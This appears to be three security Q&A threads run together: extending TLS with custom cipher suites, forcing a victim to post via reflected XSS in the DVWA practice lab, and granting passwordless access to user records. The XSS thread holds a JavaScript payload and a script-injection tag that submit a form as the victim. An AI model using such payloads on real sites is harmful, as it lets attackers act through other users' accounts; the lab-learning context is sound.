What if you want to use your own primitive? For example, ECDH using Curve9767 instead of Curve25519 or NIST P-256? Or what if you want to use symmetric crypto based on Gimli or Xoodoo (also) instead of AESGCM or ChaPoly? Well, there are unassigned cipher suite ids you can use. You can implement a server that chooses your cipher suite if the client offers it, and implement a client that offers it and uses it if it is chosen by the server, and if the connection is made between a supporting client and server then the new cipher suite is used. This is how Google, Cloudflare and AWS did their post quantum cryptography experiments and how some people used national vanity ciphers ( ).

What if you want to change the PRF, so your client won't need to have a SHA2 implementation (suppose you use Blake3 in the signature and as MAC or something)? A ciphersuite can do that (IIRC).

What if you want to change the joinery, the way the primitives are combined?

For example, instead of using asymmetric signatures, you want to use ECDH+HMAC for asymmetric authentication, like Noise does. That might be a new value of SignatureAndHashAlgorithm that changes the flow (if offered by client and chosen by the server). Or maybe an extension. I'm not sure.

Basically, the idea is that ClientHello message looks the way the RFC says, but unknown cipher suites are allowed and new extensions are allowed, and an extension can change the protocol completely. Compliant middleboxes should not even expect the ServerHello, Certificate and ServeKeyExchange messages to be present and make sense, because an extension in ClientHello could mean "let's switch to a completely different protocol" to a server that supports it. Unfortunately, in practice, middleboxes are the bane of everyone's existence and TLS1.3 had to do some cosmetically weird things to work, and major alteration to TLS1.2 flow using extensions would probably not work for clients behind corporate middleboxes. But in your internal network it would be fine. TLS1.3 encrypts more of the handshake to hide what it does from middleboxes (and for privacy), so extending it is easier.

What if you want to use something other than X.509 certificates for asymmetric authentication? TLS spec says you must use X.509. If you change the protocol enough, it's time to stop calling your creation "TLS". This is what Google have done with what they use internally.


How to make a victim submit a post via XSS? In DVWA I'm trying to understand different methods of attack than the usual alert('XSS'); scenario.

I am using reflective XSS to deliver a payload which then makes the user who follows the URL submit a post in the Stored XSS section on the same web application. Here is my external JS code

var pagech = document.getElementsByTagName('a')[11].click();
var name = document.getElementsByName("txtName")[0].value="helloworld";
var comment = document.getElementsByName("mtxMessage")[0].value="helloworld2";
var sub = document.getElementsByTagName('input')[1].click();

This code basically switches the page to the stored xss page and enters some values then submits the form, it works inside the firebug console but not when I run it using the reflective xss vulnerability below.

<script src="http://172.16.150.172/dvwa/hackable/uploads/XSS.js"></script>

Instead the users page switches but the post is not submitted. How can i fix this if it is possible?

There is a major difference between code executed in the developer console step by step[!] and JavaScript that's part of the page:
All running JavaScript is stopped when you navigate away to another page.

But why would you bother to write JavaScript to mimic a user?

If you want to send a POST-Request (for example send something that looks like a user submitting a form) use an AJAX-POST-Request like shown in this Stack Overflow Answer


How can I give users access to thier data without requiring any authentication? The premise of this question boils down to frictionless access to data. I have User A whose records I have kept on a database.
I want to send them a link to their records such that they can access their records without having to sign into any kind of portal or Auth system.
This is my current approach:
Endpoint --> https://companyname.com/<Cipher-text>

where cipher-text is unique to each user. The decrypted Cipher-text will be used to lookup user records in the database.
The issue is anyone who happens to get the endpoint URL might end up the records.
I know I can periodically regenerate the Cipher for more security but assuming that there are bad actors and User A does not wish to engage with the system beyond seeing their records, What could a solution be?
Is there a more efficient and secure way to do this?

It depends on what you think will be acceptable for the users. If you want to avoid usernames and passwords, so that they won't have to remember anything more to be able to access your system, then you might consider implementing some kind of email-based authentication.
You could make that a one-time link, sent via email to the user. The first time the user visits that link, a cookie is stored in their browser. After that, that link becomes invalid and visiting it will have no effect at all. The cookie might expire at the end of the session, or be persistent, depending on your needs. When the user drops or invalidates the cookie (by closing their browser, or deleting the cache, or clicking on a logout button, etc.), or when your server decides to invalidate the cookie (after a fixed time, etc.)., the user will then have to request another one-time link, which will be sent to their email address.
That way, user authentication will be based on either of these factors:

Access to the user's email account. This is something only the user is supposed to be able to do. Most websites with single-factor authentication actually rely on the security of the user's email account.
Access to the user's cookies, which basically means access to the user's browser or machine. This is usually an acceptable way to authenticate, unless you need to protect the users in situations where they might share their machines with others. Depending on your needs, you will have to decide whether you want to make cookies expire after a long time, or at the end of the session, or after a fixed short time even before the session is over.